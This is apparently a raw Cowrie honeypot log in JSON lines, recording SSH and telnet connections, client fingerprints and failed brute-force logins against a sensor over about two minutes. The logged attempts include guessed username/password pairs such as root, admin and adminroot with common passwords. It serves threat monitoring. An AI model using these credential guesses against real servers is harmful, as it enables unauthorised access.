{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:57.169869Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190576","message":"login attempt [admin/190576] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:57.649513Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190482","message":"login attempt [admin/190482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:58.753626Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19031903","message":"login attempt [admin/19031903] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:59.860632Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190189","message":"login attempt [admin/190189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:00.965167Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18121971","message":"login attempt [admin/18121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:02.073993Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:03.183685Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.921079874038696,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:04.172769Z","src_ip":"103.84.198.236","session":"8b1781fae733","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":54214,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c3accf50c8e","protocol":"ssh","message":"New connection: 45.232.73.84:54214 (159.203.135.109:22) [session: 9c3accf50c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:09.540374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:09.548210Z","src_ip":"45.232.73.84","session":"9c3accf50c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:09.677327Z","src_ip":"45.232.73.84","session":"9c3accf50c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123654","message":"login attempt [root/Abc123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:10.169276Z","src_ip":"45.232.73.84","session":"9c3accf50c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:11.298699Z","src_ip":"45.232.73.84","session":"9c3accf50c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45760,"dst_ip":"159.203.135.109","dst_port":22,"session":"94e81ceb2d45","protocol":"ssh","message":"New connection: 159.203.92.129:45760 (159.203.135.109:22) [session: 94e81ceb2d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:12.198945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:12.211994Z","src_ip":"159.203.92.129","session":"94e81ceb2d45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:12.218435Z","src_ip":"159.203.92.129","session":"94e81ceb2d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"123456","message":"login attempt [adminroot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:12.238191Z","src_ip":"159.203.92.129","session":"94e81ceb2d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:13.244729Z","src_ip":"159.203.92.129","session":"94e81ceb2d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":39960,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2c2de89777","protocol":"telnet","message":"New connection: 216.158.234.238:39960 (10.17.0.5:23) [session: 8f2c2de89777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:52.949168Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":40912,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7d0138fa03","protocol":"telnet","message":"New connection: 216.158.234.238:40912 (10.17.0.5:23) [session: 6a7d0138fa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:54.898055Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58956,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba5d134bc390","protocol":"ssh","message":"New connection: 159.203.92.129:58956 (159.203.135.109:22) [session: ba5d134bc390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:57.664685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:57.669847Z","src_ip":"159.203.92.129","session":"ba5d134bc390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:57.675186Z","src_ip":"159.203.92.129","session":"ba5d134bc390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"abc-123","message":"login attempt [adminroot/abc-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:57.688182Z","src_ip":"159.203.92.129","session":"ba5d134bc390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:11:58.695645Z","src_ip":"159.203.92.129","session":"ba5d134bc390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":42976,"dst_ip":"159.203.135.109","dst_port":22,"session":"138c8cb3a9b9","protocol":"ssh","message":"New connection: 45.232.73.84:42976 (159.203.135.109:22) [session: 138c8cb3a9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:08.863884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:08.873908Z","src_ip":"45.232.73.84","session":"138c8cb3a9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:08.999246Z","src_ip":"45.232.73.84","session":"138c8cb3a9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hb123456@","message":"login attempt [root/Hb123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:09.498563Z","src_ip":"45.232.73.84","session":"138c8cb3a9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:10.627671Z","src_ip":"45.232.73.84","session":"138c8cb3a9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":34992,"dst_ip":"10.17.0.5","dst_port":22,"session":"66a4d71dfff0","protocol":"ssh","message":"New connection: 152.32.163.183:34992 (10.17.0.5:22) [session: 66a4d71dfff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:15.598432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:15.603929Z","src_ip":"152.32.163.183","session":"66a4d71dfff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:21.599702Z","src_ip":"152.32.163.183","session":"66a4d71dfff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:21.606913Z","src_ip":"152.32.163.183","session":"66a4d71dfff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.768590927124023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:24.717641Z","src_ip":"216.158.234.238","session":"8f2c2de89777","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379698753356934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:25.277610Z","src_ip":"216.158.234.238","session":"6a7d0138fa03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52408,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f296ead5db0","protocol":"telnet","message":"New connection: 45.77.199.58:52408 (10.17.0.5:23) [session: 9f296ead5db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:30.082043Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43610,"dst_ip":"10.17.0.5","dst_port":23,"session":"b298d99841ed","protocol":"telnet","message":"New connection: 64.237.60.107:43610 (10.17.0.5:23) [session: b298d99841ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:42.589702Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42500,"dst_ip":"159.203.135.109","dst_port":22,"session":"d70cf4e553f6","protocol":"ssh","message":"New connection: 159.203.92.129:42500 (159.203.135.109:22) [session: d70cf4e553f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:43.037077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:43.042010Z","src_ip":"159.203.92.129","session":"d70cf4e553f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:43.047952Z","src_ip":"159.203.92.129","session":"d70cf4e553f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"adminroot","message":"login attempt [adminroot/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:43.059736Z","src_ip":"159.203.92.129","session":"d70cf4e553f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:44.066494Z","src_ip":"159.203.92.129","session":"d70cf4e553f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":35980,"dst_ip":"10.17.0.5","dst_port":23,"session":"75880e89d473","protocol":"telnet","message":"New connection: 64.237.60.107:35980 (10.17.0.5:23) [session: 75880e89d473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:12:58.235082Z"}
{"eventid":"cowrie.session.closed","duration":30.98177981376648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:01.063689Z","src_ip":"45.77.199.58","session":"9f296ead5db0","protocol":"telnet"}
